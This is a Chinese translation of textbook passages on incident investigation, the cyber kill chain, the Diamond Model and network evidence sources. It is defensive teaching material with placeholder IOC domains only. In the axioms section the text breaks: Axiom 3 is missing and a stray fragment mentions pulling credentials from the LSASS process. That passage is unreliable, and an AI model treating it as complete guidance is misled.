原子指示符:这些是无法进一步分解成更小部分的数据点,它们本身即是指示符,例如,与攻击者的 C2 基础设施相关联的 IP 地址或域名。
-
计算指标:这些是通过某种计算方式处理的数据点,例如疑似恶意软件二进制文件的 SHA256 文件哈希值。
-
7e1861e4bec1b8be6ae5633f87204a8bdbb8f4709b17b5fa14b63abec6c72132。对 web shell 的分析表明,一旦执行,它会调用baddomain.ru域名,该域名已被识别为对方的 C2 基础设施。
在调查的这个阶段,同一数据中可能同时存在真正的 IOC 和误报 IOC,这种情况是预期中的。在这个阶段,调查的关键是确定哪些看起来可疑,并将其包含在调查中。接下来会有很多机会排除误报。一个好的规则是,如果对某个 IOC 有任何怀疑,将其包括在内,直到你能够明确证明它是恶意的还是良性的。
初步关联
在调查的这个阶段,分析师应该开始发现一些模式,或者至少能看到 IOC 之间的关系。在初步关联阶段,分析师开始将相关的指标进行配对。正如 Peter Stephenson 博士所说,关联可以定义为:
来自多种来源的证据性信息比较,目的是发现独立的信息,或与其他信息共同出现,或由其他证据性信息佐证或被佐证。
简单来说,初步关联阶段将个别事件关联成一个事件链。例如,我们可以以一个已经被加载到 web 服务器的 web shell 为例。在这种情况下,会生成几个特定的证据点。Web 应用防火墙可能会在日志中看到 HTTP POST 请求。该 POST 请求还会在 web 服务器上创建一个日期和时间戳。对 web shell 的分析可能表明另一个外部资源已被对方控制。从这些数据点中,分析师可以通过 Internet Information Service (IIS) 日志确定对方的 IP 地址、web shell 被发布的时间,以及是否包含其他对方的基础设施。
看待初步关联阶段的一种好方法是,这是分析师第一次说“这是发生了,然后是这个,然后是这个”。
事件规范化
系统上的对手行为可能有多个数据来源。例如,对手使用远程桌面协议(RDP)并通过破译凭证获得对域控制器的访问权限。Windows 事件日志中会有与 RDP 连接和凭证使用相关的条目。如果对手穿越了防火墙,防火墙连接日志中也会有该连接的记录。再次引用 Stephenson 博士的话,事件标准化阶段被定义为将来自不同来源且使用不同词汇的同类型证据数据,合并为一个单一的、集成的术语,以便在 关联过程中有效使用。
在这一阶段,重复的条目会合并为一个单一的语法。在之前的案例中,相关的多个条目可以合并成一个关于对手通过 Windows RDP 获得系统访问权限的声明。
过去在事件标准化过程中,曾面临的一个挑战是如何制定一个全球性对手行为的语法,例如前面例子中的那种。为了解决这一问题,MITRE 公司创建了对手战术、技术和常识(ATT&CK)框架。该知识库涉及对手实施网络入侵时使用的战术和技术,并提供一个标准化语法来描述对手的行动并规范化各类证据。ATT&CK 知识库在描述对手时已成为不可或缺的工具,甚至可以在第十七章中找到相关内容。
事件冲突消解
有时也会出现与对手活动相关的多个事件。例如,暴力破解密码会产生大量的登录失败事件条目。一次记录了 10,000 次失败的暴力破解尝试应该被计为一个单一事件。分析师无需列出所有失败事件,只需记录在定义的时间段内的失败情况,比如 2022 年 4 月 10 日 UTC 时间 1634 到 1654 之间。通过这种方式,无需包括所有原始数据,就能了解整体意图和对手的行为。
第二轮关联
现在数据已经经过初步的关联、随后的标准化和冲突消解过程,分析师得到了一组数据,随后将其输入第二轮关联。第二轮关联应该会产生更加精细的数据点,然后可以将这些数据输入到下一个阶段。
时间线
事件调查的一个输出就是事件时间线。现在分析师已经将事件标准化、冲突消解并关联完毕,他们应该按照顺序排列这些事件。分析师不需要专门的工具;只需简单的电子表格或图表就可以描绘出导致网络入侵的事件顺序。
杀伤链分析
在这一阶段,分析员应当已经从证据中提取了必要的指标,进行了标准化和冲突解决,并按时间顺序排列。下一阶段是将 IOC 和其他证据放入一个结构中,引导分析员理解事件与整体入侵之间的关系,以及敌方与受害组织之间的互动。常用的结构是结合洛克希德·马丁的网络攻击链和钻石模型进行入侵分析。由于这两种方法的重要性,它们将在接下来的两部分中进行详细介绍。
报告
在事件调查中,往往有一个关键部分容易被忽视,那就是报告部分。根据分析的类型,报告可能非常详细且篇幅较长。因此,整个过程中,事件分析员应当详细记录其所有行动和观察。事后几天几乎不可能完整重建整个分析过程。
事件报告通常分为三个部分,每个部分都针对特定受众的关注点和问题。第一部分通常是执行摘要。这一至两页的摘要提供了事件和分析的高层次概览,并详细说明了事件的影响。这使得高级管理层能够做出决策,以便进一步改进,并向董事会或监管机构报告调查结果。
报告的第二部分是技术细节。在这一部分中,事件响应分析员将介绍调查结果、事件时间线以及 IOC(指标)。该部分的另一个重点将是对敌方战术、技术和程序(TTPs)的分析。这是领导层和技术人员的关键信息,因为它详细描述了敌方采取的事件顺序以及他们能够利用的漏洞。这些信息对于长期修复非常有用,有助于减少未来发生类似攻击的可能性。
报告的最后一部分是建议。正如技术部分所述,往往存在一些漏洞和其他可以修复的条件,这些修复可以减少未来发生类似攻击的可能性。详细的战略和战术建议帮助组织优先考虑对环境进行改变,从而加强其安全性。
报告将在后续的第十三章中详细讲解。
网络攻击链
作为事件调查的一部分,创建的时间线提供了对敌方行动顺序的视图。这个视图虽然有用,但缺乏事件背景的优势。以 RDP 为例,分析人员可以指明连接的日期和时间,但无法洞察事件发生在哪个攻击阶段。提供背景的一个构想是将这些事件放入攻击链中,描述敌方为了达成目标所采取的事件顺序。
军方在很大程度上使用“攻击链”这一概念,描述部队执行任务以达成目标的过程。该概念的一个版本被描述在美国军方的打击理论中,称为发现、定位、跟踪、瞄准、攻击、评估(F2T2EA)。这个过程被称为链条,因为它允许防御方在任何一个步骤中打破过程。例如,某个对手如果你能发现和定位,但却能通过伪装成功避开追踪,那它将无法被打击,因为链条被打断了。
在白皮书《基于对对手活动和入侵攻击链分析的情报驱动计算机网络防御》中,Eric Hutchins、Michael Cloppert 和 Rohan Amin 描述了一种专门针对网络入侵的攻击链。在这个案例中,作者对现有的 F2T2EA 模型进行了扩展,创建了一个专门应对网络攻击的模型。在几乎所有的网络入侵中,核心总是一个威胁行为者,该行为者必须制作某种形式的有效载荷,无论是恶意软件还是其他漏洞利用,并让这些载荷或漏洞突破外围防御。一旦进入,攻击者需要建立持久的访问权限并实施有效的指挥与控制。最后,总是有某种目标必须实现,比如数据盗窃或销毁。这一链条在图 4.4中有所展示,描述了网络入侵攻击链的七个阶段:侦察、武器化、投递、利用、安装、指挥与控制、以及目标行动。

图 4.4 – 网络攻击链
网络杀链的第一阶段是侦察阶段。表面上看,这一阶段似乎只是对目标进行识别和初步信息收集。实际上,侦察阶段涉及的内容远不止这些。最好把这一阶段看作是整个入侵或攻击活动的准备阶段。例如,国家级 APT 组织并不是自行选择目标的,而是由指挥机关,如国家的情报服务,来为其选定目标。这就使得他们的侦察工作有了明确的方向。其他一些团体,比如涉及勒索软件攻击的组织,通常会对连接互联网的组织进行初步侦察,以看看是否能找到脆弱的目标。一旦发现脆弱的目标,他们会进行更为集中的侦察。
这一阶段还涉及到进行入侵所需的工具和基础设施的获取。这可能包括漏洞利用代码的编写、域名注册以及命令与控制基础设施的配置。为了针对特定的组织,攻击者可能还会通过入侵第三方来完成整体的攻击。例如,Solar Winds 事件就是一个典型案例,据信与俄罗斯 SVR 相关的 APT 组织通过攻击软件制造商来实施对其客户的攻击。
一旦后端基础设施配置完成,攻击者将进行对目标的侦察。这一侦察可以分为两个主要类别。第一类是技术性侦察,攻击者会利用软件工具来绘制目标的基础设施,包括 IP 地址空间、域名以及互联网上可见的软件。这种技术性侦察还可以更深入,攻击者会研究在侦察过程中发现的软件漏洞。
第二类焦点通常是组织和员工。攻击者获得内部网络访问权限的一种常见方式是通过网络钓鱼攻击。了解目标的主要业务或职能以及关键人物,有助于攻击者制作看似合法的电子邮件或其他钓鱼方案。例如,确定目标组织中应收账款部门的关键人物,可能帮助攻击者制作一封看似合法的电子邮件,欺骗目标员工。这一策略可以通过了解组织提供的具体产品或服务进一步加强,这些信息可以通过公开的商业文档或目标网站上的描述来获取。
在进行入侵调查时,确定侦察活动的具体情况可能非常困难。首先,许多侦察活动不会触及目标的网络或基础设施。例如,域名记录可以被任何人访问。在像 LinkedIn 这样的网站上搜索社交媒体资料对于防御者或分析员来说是不可见的。其次,从过去 24 小时内可能连接到目标网站的成千上万的 IP 地址中识别威胁行为者的 IP 几乎是不可能的。最后,任务指派及其他任何准备工作都发生在网络防御者无法察觉的地方,只有在事件发生后进行入侵分析时才可能看到。
攻击链的下一个阶段是武器化阶段。在这一阶段,攻击者配置他们的恶意软件或其他漏洞利用工具。例如,这可能是重新利用一个银行木马如Dridex,这种情况通常出现在勒索软件攻击中。在其他情况下,武器化可能是一个漫长的过程,其中为特定目的定制恶意软件,如 Stuxnet 恶意软件的情况。武器化还包括将恶意软件包装到容器中,例如 PDF 或 Microsoft Word 文档。例如,一个作为入侵第一阶段的恶意脚本可能会被打包成 Word 文档。
与第一个阶段类似,武器化发生在防御者无法察觉的地方。分析入侵的武器化阶段的关键是,分析员通常会在攻击者精心设计漏洞或恶意软件时,获得几天、几周甚至几个月前发生的活动的洞察。
攻击链的第三个阶段是将漏洞利用或恶意软件进行投递,进入防御者的环境。投递方式从传统的钓鱼邮件,到驱动下载,甚至使用物理设备如 USB 等各不相同。对于分析员来说,了解事件的根本原因是链条中的一个重要部分。有效的负载投递可能意味着某些安全控制未能检测并阻止该行为。
几乎所有成功的入侵都涉及利用漏洞。这可能是使钓鱼攻击成功的人为漏洞。在其他情况下,这也可能是软件漏洞,包括令人担忧的零日漏洞。在这两种情况下,杀伤链的第四阶段是利用。在这一阶段,对手利用软件、人的漏洞,或者两者的组合。例如,对手可以发现微软 IIS 应用程序中的漏洞,并通过 Shell 代码进行利用。在某些入侵中,会循环使用多个漏洞进行利用,直到对手完全攻破系统或多个系统。例如,攻击者制作了一封针对应付账款员工的钓鱼邮件,邮件中包含一个包含Visual Basic for Applications(VBA)脚本的 Excel 工作簿。第一次利用发生在该员工打开邮件并打开 Excel 电子表格时。接下来的利用利用了 Excel 的固有漏洞来执行 VBA 脚本。
到目前为止,在对杀伤链的分析中,对手已经对目标进行了侦察,制作了他们的利用工具或恶意软件,并将其传送到目标。通过利用各种漏洞,他们成功地获得了目标网络的初步立足点。下一阶段是保持某种程度的持久性。此时,杀伤链的下一个阶段,安装,发挥了作用。
系统的初始感染并未给予对手进行长期渗透所需的持久性。即使是勒索软件攻击,也要求对手能够长期访问网络,以进行网络发现并横向移动。在安装阶段,对手在系统上安装文件,对注册表进行更改以在重启后继续存活,或设置更持久的机制,如后门。在查看安装阶段时,需要注意的一点是,并非所有的操作都会在磁盘上留下痕迹。对手使用的某些工具通过完全在内存中运行或通过不与任何外部资源通信来保持隐藏,从而减少了留下的证据。
一旦对手能够建立其持久性,他们需要能够与被攻陷的系统进行交互。这时,第六阶段,指挥与控制,发挥了作用。在这个阶段,对手建立并保持与被攻陷系统的网络连接。例如,后期利用框架,如 Metasploit 和 Cobalt Strike,允许对手与受影响的系统进行通信并执行命令。
最后阶段,目标行动,是指对手在有效控制系统后执行的操作。这些操作可以从嗅探网络数据以获取信用卡信息到窃取知识产权不等。在某些情况下,可能会发生多个行动。一些复杂的网络犯罪分子可能会在获得网络访问权限后,花上一整天的时间进行数据外泄。然后,当他们完成入侵时,会用勒索软件加密系统。在最后阶段,重要的考虑因素是要包括在指挥和控制建立之后发生的行动。
入侵分析的钻石模型
网络攻击链为将对手的行动置于入侵的适当阶段提供了构建框架。更深入的分析需要审视对手和受害组织之间的关系。入侵分析的钻石模型提供了一种比网络攻击链的阶段更为详细的分析方法。钻石模型最初由 Sergio Caltagirone、Andrew Pendergast 和 Christopher Betz 在白皮书《入侵分析的钻石模型》中提出。简单来说,理解钻石模型的方式是:对手通过某些基础设施部署一种能力,针对受害者进行攻击。这些活动 称为事件,是最基本的特征。该模型的作用是揭示对手与受害者之间的关系,并尝试确定实现对手目标所使用的工具和技术。
图 4.5 直观展示了钻石模型的基本结构,包含以下四个顶点:对手、能力、受害者和基础设施。除了四个顶点外,还有五种关系:使用、开发、利用、连接到和部署。将这些关系结合起来,构成了描述四个顶点之间关系的基础。

图 4.5 - 钻石模型
对手顶点描述了任何关于入侵活动实施者的信息或数据。这可以是一个团体或个人,进一步细分的话,可以分为对手是操作员还是客户。如果定义对手为客户,则是指一个将从活动中受益的个人或团体。复杂的网络威胁行为者通常会利用任务分工,其中一个团体执行特定任务。例如,作为勒索软件团伙一员的恶意软件编码员就属于这一类。该活动的输出的客户可以被认为是一个客户。在其他情况下,操作员可能是独立进行自己活动的个人,这些活动不依赖于任何其他直接受益的人。
关于对手的数据可以包括在线身份,例如社交媒体标识符或电子邮件地址。在其他情况下,意图或动机可以被纳入对手顶点。需要注意的是,虽然意图可能非常简单,例如出于财务动机的勒索病毒攻击,但在其他情况下,从单次入侵中确定动机可能是困难的。
下一个顶点,能力,描述了对手可以利用的工具和技术。关于能力的挑战在于工具和技术的范围非常广泛。例如,一个新手攻击者可能会使用脚本和一些知名的黑客工具,如 Metasploit 或 Cobalt Strike,进行一项需要较少技能或经验的攻击。另一方面,APT 小组可以制作定制恶意软件,利用零日漏洞,并能够在数月甚至数年内保持未被检测。
在讨论能力时,考虑两个方面非常重要。首先,在讨论工具时,记住什么属于工具范畴。恶意软件很容易被归类为工具,但合法工具呢?例如,单独使用 PowerShell 并不代表一种能力,但如果利用 PowerShell 执行一个编码脚本来下载一个次级有效载荷,那就代表了一种能力。对手的目标或意图直接影响什么可以被视为能力。如果工具的使用推动了这个目标,它就应该被识别为一种能力。
其次,尽管他们很复杂,对手通常会利用一些常见模式。例如,攻击者可能会使用钓鱼邮件和恶意脚本的组合在系统上建立立足点。一旦建立了 C2 连接,您可能会看到像whoami.exe这样的命令按照特定顺序执行。即使这些活动看起来平凡,也需要注意。
下一个顶点是基础设施。在围绕可怕的黑客或 APT 的耸人听闻和神秘主义中,威胁行为者的一个常见方面往往被忽视:威胁行为者受到与其他人相同的软件、硬件和技术的限制。他们并不存在于技术的四个角落之外,因此必须像我们所有人一样运作。这就是基础设施的作用所在。在这个上下文中,基础设施指的是对手用来部署其工具或技术的物理或逻辑机制。例如,攻击者可能利用公共云计算资源,如亚马逊网络服务(AWS)或 Digital Ocean。从这里,他们可以配置 Cobalt Strike C2 服务器。从分析来看,该服务器的 IP 地址或域名注册将作为基础设施顶点下的数据点。
在图 4**.6中,我们可以看到四个顶点之间关系的可视化。对手发展出一些能力,如1所示,并将该能力部署到一个基础设施上,如2所示,最后与受害者连接,如3所示。在讨论受害者顶点时,可以将其分解为个人或组织。钓鱼攻击可能针对单个个人,也可能针对整个组织。对手的能力和基础设施也可以指向人类或系统。钻石模型将人类受害者定义为实体,系统组件定义为资产。

图 4.6 – 钻石模型关系
让我们看一个实际示例,在现实攻击执行的背景下,我们可以在钻石模型中表达对手/受害者关系。在这个例子中,我们将继续查看一种Drive-By Compromise恶意软件交付技术的示例(MITRE ATT&CK 框架中的 T1189,详情见attack.mitre.org/techniques/T1189/)。在这个示例中,对手建立了一个看似合法的网站。当该网站被访问时,对手会交付恶意 JavaScript,试图利用常见网络浏览器中的漏洞。
图 4**.7展示了在分析攻击过程中可以提取的潜在数据点。在这种情况下,我们将查看网络攻击链中的交付阶段,这表示对手如何交付其漏洞利用。在这种情况下,对手利用内部能力(1)配置了一个网站,具备交付恶意 JavaScript 的功能。一些对手已知使用基于 Java 的探测工具RICECURRY来确定网页浏览器的漏洞,并根据这些数据进行利用。在构建了特定的恶意软件交付机制后,基础设施被配置为托管恶意网站。在这种情况下,badsite.com域名(2)和相应的托管提供商可以被包括在内。一旦受害者通过浏览器访问该网站,就会被感染。在这种情况下,受害者可以表示为系统名称(3),在此示例中为Lt0769.acme.local。根据分析团队的能力,他们可能能够追踪到特定域名,这个域名曾作为诱饵攻击的一部分。审查 WHOIS 注册信息可能提供对手用来注册该网站的电子邮件地址(4)等详细信息。

图 4.7 – 钻石模型示例
钻石模型作为一个良好的构架,能够展示对手、他们的能力与基础设施、以及受害者之间的关系。所需的是可以绘制这些关系的数据。利用这一构架的能力取决于能够找到这些数据点,并通过外部数据来增强它们,从而描绘这些关系图。无论受害者是否拥有这些数据,以下公理都直接适用于每一次入侵。
钻石模型的实用性来自于它如何定义与每个顶点的关系。这为整体事件提供了一个背景,而不仅仅是在防火墙日志中看到一个 IP 地址。深入挖掘这个数据点有可能揭示对手使用的基础设施、工具及其能力。除了这个结构,钻石模型的作者还定义了几个公理,需要牢记。
钻石模型公理
公理 1:每一个入侵事件背后都有一个对手,借助其能力在基础设施上采取行动,针对一个受害者以达成其预定目标,并产生结果。这是钻石模型的核心。关于如何在模型中将妥协指标彼此关联的前面讨论就是通过这个公理来表示的。关键在于对手有一个目标,无论是访问机密数据,还是将勒索软件部署到环境中。
公理 2:存在一组对手(内部人员、外部人员、个人、团体和组织),他们试图破坏计算机系统或网络,以推动他们的意图并满足他们的需求。第二个公理基于第一个公理中的关键点,即对手有一个目标。第二个公理还与之前关于数字调查不同层次的讨论有关。根本原因分析试图回答入侵的方式,而入侵分析试图回答为什么发生入侵的问题。
从内存中删除LSASS.exe进程,并访问凭证。当然,还有令人畏惧的零日漏洞,它在被识别之前就已被利用。
公理 4:每一种恶意活动都包含两个或多个阶段,必须成功连续执行这些阶段才能达到预期的结果。对手可能会尝试向基础设施部署第一阶段的恶意软件,但如果系统的反恶意软件保护阻止了恶意软件的执行,那么该模型就不完整,因此不会发生妥协。
公理 5:每次入侵事件都需要在成功之前满足一个或多个外部资源。请记住,对抗者与目标组织遵循相同的规则和协议。他们没有使用某种神秘的对抗者技巧和工具。在入侵中,对抗者必须配置 C2 基础设施,聚集他们的工具,注册域名,并托管恶意软件交付平台。这些都是应纳入任何入侵分析的数据点,以便尽可能全面地了解对抗者。
公理 6:即使关系是远距离的、短暂的或间接的,对抗者与其受害者之间总是存在关系。在犯罪活动调查中,一个常用的概念是受害者学,即对受害者的研究。具体来说,调查人员会关注受害者的各个方面,包括其性格、习惯和生活方式,以确定为何他们成为受害者。这个思维过程同样可以应用于入侵分析。无论对抗者是为了挖掘比特币而入侵了一台 Web 服务器,还是为了获取机密数据进行几个月的入侵,入侵者都有一个目标。这种行为创造了一个关系。
公理 7:存在一个对抗者子集,这些对抗者具备足够的动机、资源和能力,在长时间内持续对一个或多个受害者造成恶意影响,同时抵抗缓解措施。前面的公理设定了对抗者与受害者的关系。某些情况持续时间较短,例如勒索软件案件,受害者能够恢复。然而,在其他情况下,对抗者即使在受害者尝试将其移除的情况下,仍能保持对网络的访问。这种类型的关系通常被称为持久性对抗者关系。这种 APT 攻击通常与国家行为体和资金雄厚的对抗者相关。在这些案例中,对抗者能够在长时间内保持访问,并采取措施维持这种持久性,即使受害者试图将其移除。
推论:对抗者持久性存在不同程度,具体取决于对抗者-受害者关系的基本要素。同样,受害者-对抗者的关系以及对抗者的目标将决定对抗者与受害者之间的关系。关键在于,对于每次入侵事件,这种关系都是独特的。
结合钻石模型与攻击链的入侵分析
杀链提供了一种简单的方法来界定网络入侵过程中发生的特定对抗行动。然而,杀链缺乏一致的攻击者之间关系的结构。例如,对一次入侵的分析可能会揭示出一份附在邮件中的恶意 PDF 文档,邮件是发送给公司总会计师的。虽然理解交付方式对于了解根本原因很有帮助,但要深入了解入侵,仍需要更多的细节。这就是将钻石模型与杀链结合起来的意义所在。
钻石模型代表了一个独立事件,在这个案例中,它描述了攻击者用来交付其负载的方法的相关数据。将钻石模型整合到杀链的每个阶段提供了更为结构化和全面的入侵分析方法。换句话说,正如图 4.8所示,在杀链的每个阶段,都有一个相应的钻石模型,分析中获得的证据将被放置于此。

图 4.8 – 结合的杀链和钻石模型
目标是要为网络杀链的每个阶段识别出钻石模型的每个顶点。显然,这在完美的世界中才有可能。与入侵相关的某些证据可能无法提供给分析员。因此,需要一个更为现实的基准。SANS 网络威胁情报课程的作者 Robert Lee 提出了一个基准,即至少有一个顶点需要包含证据项,才能认为第二阶段至第六阶段的分析是完整的。这并不意味着发现的证据没有价值,而是说我们对入侵分析的信心是基于揭示尽可能多的细节,同时平衡时间和精力投入。
另一个需要考虑的因素是,当分析员必须调查和分析两次网络入侵时。例如,第一次入侵是一封包含恶意文档的钓鱼邮件,该文档下载了一个旨在利用 Windows 操作系统漏洞的二级负载。此恶意软件在利用阶段被病毒防护软件阻止,入侵未能达到“目标行动”阶段。
第二次入侵类似,但不同于病毒防护软件阻止恶意软件执行,攻击者能够利用一个漏洞并成功执行。攻击者进一步安装了持久性机制,并在被发现并隔离系统之前配置了 C2 通道。在这种情况下,第二次入侵优先于第一次,应优先进行调查。如果有足够的资源,第一次入侵的调查可以与第二次调查并行进行,但如果第二次调查需要额外资源,那么该调查将优先进行。
入侵分析的技术工具和方法本身需要一本书才能详尽介绍。钻石模型 / 网络杀链方法所做的是提供一个结构,既可以指导分析,又能将证据项放置于相互关联的适当位置,以便进行更全面的对敌方的分析。
这个结合了杀链和钻石模型的分析构建对于全面的入侵分析非常有用。成功与否的关键因素在于组织能否汇集必要的证据,将其填充到适用的钻石模型特定顶点中,并放置到相应的杀链阶段。通常,证据的易变性、可见性以及缺乏专业知识等限制因素,会降低成功调查网络入侵的可能性。
归属
事件调查的巅峰是归属。在归属过程中,分析师可以将入侵直接与某个人或威胁行为者群体联系起来,无论该群体是个人、组织还是政府机构。考虑到威胁行为者,尤其是高技能的行为者,可以掩盖其踪迹,归属攻击是极其困难的,通常只有政府或专门从事长期分析的私人实体,且拥有大量入侵数据集,才能完成这一任务。
例如,网络威胁情报提供商 Mandiant 在 2013 年发布了 APT1 报告。该报告直接将入侵行为与中国人民解放军总参谋部第二局第三部门的人员关联起来。这个结论花费了多年时间,基于来自 300 个独立指标和 141 个独立组织的入侵数据。这些数字证明了正确归属所需要的数据量,通常超出了组织内部分析师的能力范围。
这些数据点与其他入侵分析相结合,通过识别能力、基础设施和受害者的重叠模式,来进行综合分析。从这里开始,关于每个入侵集的数据将有可能帮助确定谁是入侵背后的操控者。再次强调,这通常超出了调查入侵的分析师的职责范围,但对于那些利用此类事件分析进行威胁情报工作的组织来说,归属问题就会变得至关重要。
总结
数字取证并非孤立存在。本书关注的工具和技术是更大努力的一部分。如果没有测试分析员假设的方法论,数字取证仅仅是数据的收集与提取。相反,理解需要什么样的事件调查,并确定适用的方法论是至关重要的。为了回答与入侵相关的关键问题,需要结合事件调查方法论和入侵分析的钻石模型。这两者的结合提供了一个框架,分析员可以在其中适当地检查证据并验证他们的假设。
下一章将通过检查聚焦于网络证据的工具和技术,开始证据采集的过程。
问题
-
关注于判断一个事件是否为事件的调查类型是:
-
归因
-
根本原因
-
检测
-
入侵分析
-
-
网络攻击链的第一阶段是什么?
-
侦察
-
武器化
-
指挥与控制
-
交付
-
-
在网络攻击链的侦察阶段获取数据通常很困难,因为缺乏与目标网络的连接。
-
真实
-
虚假
-
第二部分:证据采集
第二部分将专注于数字证据采集的技术方面。包括对可以用于适当证据采集的工具和技术的详细研究。
本部分包含以下章节:
-
第五章**,收集网络证据
-
第六章**,获取基于主机的证据
-
第七章**,远程证据收集
-
第八章**,取证影像
第五章:收集网络证据
数字取证的传统重点一直是在可能被攻陷的终端上寻找证据。更具体地说,计算机取证主要关注系统的存储。执法人员如果关注诈骗或儿童剥削等犯罪活动,可以通过单个硬盘找到起诉所需的证据。然而,在事件响应领域,重点必须远远超出怀疑受损的系统。例如,从受损主机到外部指挥与控制(C2)服务器的流量中,也可以获得大量有价值的信息。
本章重点讨论在网络设备和内部网络中的流量路径中常见证据的准备、识别和收集。在外部威胁源正在指挥内部系统或从网络窃取数据的事件中,这一收集过程至关重要。基于网络的证据在检查主机证据时也非常有用,因为它提供了事件确认的第二个来源,这对确定事件的根本原因极为有用。
本章将涵盖以下主题:
-
网络证据概述
-
防火墙和代理日志
-
NetFlow
-
TCPDump 数据包捕获
-
Wireshark 数据包捕获
网络证据概述
有一些网络日志源可以为 CSIRT 人员和事件响应人员提供有价值的信息。每个网络设备根据其制造商和型号提供不同的证据。作为准备工作,CSIRT 人员应熟悉如何访问这些设备以获取所需证据,或建立现有的沟通结构,以便在发生事件时与 IT 人员合作,协助采取正确的响应措施。
网络设备,如交换机、路由器和防火墙,通常也有自己的内部日志,记录谁访问了设备并进行了更改。事件响应人员应熟悉其组织网络中的网络设备类型,并能够在发生事件时访问这些日志:
-
交换机:这些交换机通过一系列核心交换机和边缘交换机分布在网络中,核心交换机处理来自多个网络段的流量,边缘交换机处理来自单个段的流量。因此,从主机上发出的流量将穿过多个交换机。交换机有两个关键的证据点,应该被事件响应人员关注。第一个是内容可寻址存储器(CAM)表。这个 CAM 表将交换机上的物理端口与每个连接到交换机的设备上的网络接口卡(NIC)进行映射。事件响应人员可以利用此信息追踪到特定网络插座的连接。这有助于识别可能的恶意设备,例如无线接入点或由攻击者连接到内部网络的系统。交换机在协助事件调查方面的第二个方式是便于捕获网络流量。
-
路由器:路由器使组织能够将多个局域网(LAN)连接到城域网(MAN)或广域网(WAN)。因此,它们处理着大量的流量。路由器中最关键的证据是路由表。该表存储了特定物理端口与网络的映射信息。路由器也可以被配置为拒绝网络之间的特定流量,并维护允许的流量和数据流的日志。路由器可以提供的另一个重要证据来源是 NetFlow 数据。NetFlow 提供有关 IP 地址、端口和协议的网络流量数据。这些数据可用于确定来自网络不同分段的流量流向(NetFlow 将在本章后续部分进行更详细的介绍)。
-
防火墙:防火墙自从仅仅被认为是另一种路由器的时代以来,已经发生了显著变化。下一代防火墙包含了多种功能,如入侵检测和防御、网页过滤、数据丢失防护以及关于允许和拒绝流量的详细日志。通常,防火墙作为一种检测机制,提醒安全人员潜在的事件。这可能包括来自入侵检测系统(IDS)/入侵防御系统(IPS)的警报、已知恶意 URL 或 IP 地址的黑名单,或警报提示防火墙配置变更而 IT 人员未曾知晓。事件响应人员应尽可能了解其组织防火墙的工作原理,以及在事件发生之前可以获取哪些数据。
-
网络 IDS/IPS:这些系统专门设计用于向安全人员和事件响应者提供有关网络基础设施上潜在恶意活动的信息。它们结合了网络监控和规则集来判断是否存在恶意活动。IDS 通常配置为在检测到特定恶意活动时发出警报,而 IPS 不仅可以检测到恶意活动,还能够阻止它。无论哪种情况,这两种平台的日志都是事件响应者查找恶意活动具体证据的绝佳场所。
-
Web 代理服务器:组织通常使用 Web 代理服务器来控制用户如何与网站及其他基于互联网的资源互动。因此,这些设备可以提供一个关于从内部主机发起的以及发往内部主机的网络流量的全局视图。Web 代理还具有额外的功能,例如在连接到已知恶意软件 C2 服务器或提供恶意软件的网站时,提醒安全人员注意。结合可能已被攻破的主机查看 Web 代理日志,可以帮助识别恶意流量的来源或正在控制主机的 C2 服务器。
-
域控制器或认证服务器:作为整个网络域的核心,认证服务器是事件响应者获取有关成功或失败的登录记录、凭证操作或其他凭证使用情况的主要来源。
-
DHCP 服务器:在组织内维护分配给工作站或笔记本电脑的 IP 地址列表需要大量的管理工作。动态主机配置协议(DHCP)的使用允许在局域网(LAN)上动态分配 IP 地址给系统。DHCP 服务器通常包含将 IP 地址分配给主机 NIC 的 MAC 地址的日志。如果事件响应者需要追踪特定日期和时间连接到网络的工作站或笔记本电脑,这些日志非常重要。
-
应用服务器:网络服务器上托管着从电子邮件到 Web 应用程序等各种应用程序。每种应用程序都可以提供与其类型相关的特定日志。在事件调查过程中,任何涉及远程连接的日志也很重要。攻击者通常会从被攻破的系统跳转到服务器,以获取机密数据或进行其他后续活动。
准备工作
正如前一节所述,网络设备种类繁多,每种设备都有自己汇总和报告相关数据的方法。获取基于网络的证据的能力在很大程度上取决于组织在事件发生之前所做的准备工作。如果没有适当的基础设施安全计划中的关键组成部分,事件响应人员将无法轻松获得关键信息。这将导致证据在 CSIRT 成员寻找关键信息时丢失。为了准备工作,组织可以通过提供适当的网络文档、更新的网络设备配置和中央日志管理解决方案(如 SIEM)来协助 CSIRT。
另一个需要考虑的准备事项是,将执行适当网络证据收集所需的具体任务纳入事件响应手册。例如,没有发送到中央日志管理解决方案(如 SIEM)的防火墙日志,会保存在设备本身。涉及收集网络证据的手册应详细到能够指导整个日志收集过程。
除了为网络证据收集做的技术准备外,CSIRT 人员还需要了解与收集网络证据相关的法律或监管问题。此外,CSIRT 人员还需要意识到,如果没有明确的政策说明可以进行网络监控,捕获网络流量可能被视为侵犯隐私。因此,CSIRT 的法律代表应确保组织内的所有员工都理解其信息系统的使用将被监控。此项应在任何证据收集开始之前在政策中明确说明。
网络拓扑图
为了识别潜在的证据来源,事件响应人员需要对内部网络基础设施有深入的了解。组织可以采用的一种方法是创建并维护一份最新的网络拓扑图。该拓扑图应该足够详细,以便事件响应人员能够识别出个别网络组件,例如交换机、路由器或无线接入点。该拓扑图还应包含内部 IP 地址,便于事件响应人员通过远程方式立即访问这些系统。例如,查看以下简单的网络拓扑图:

图 5.1 – 一个示例网络拓扑图
该图示有助于快速识别潜在的证据来源。例如,假设连接到192.168.2.1交换机的笔记本电脑被识别为与已知的恶意软件 C2 服务器通信。CSIRT 分析员可以检查网络图,并确定 C2 流量必须穿越多个网络硬件组件才能从内部网络出去。例如,流量会穿越位于192.168.10.1的交换机,通过位于192.168.0.1的防火墙,最后从路由器到达互联网。
配置
如果 CSIRT 能够立即获得标准配置,确定攻击者是否对网络设备(如交换机或路由器)进行了修改将变得更加容易。组织应该已经存储了用于灾难恢复的网络设备配置,但他们还应确保在发生事件时,CSIRT 成员可以访问这些配置。
防火墙和代理日志
在调查事件时,有两个主要的证据来源是进出网络的互联网入口/出口点。现代恶意软件和其他漏洞通常需要能够访问基于互联网的资源。这可能是为了下载额外的恶意软件或利用代码。其他涉及数据外泄的攻击将需要访问互联网。最后,攻击者通常需要通过被攻破的系统建立 C2。在这些情况下,各种协议的流量将穿越受害者网络的边界。根据受害者的情况,这些流量可能需要穿越防火墙、互联网代理或两者。因此,这两种技术为事件响应人员提供了重要的证据来源。
防火墙
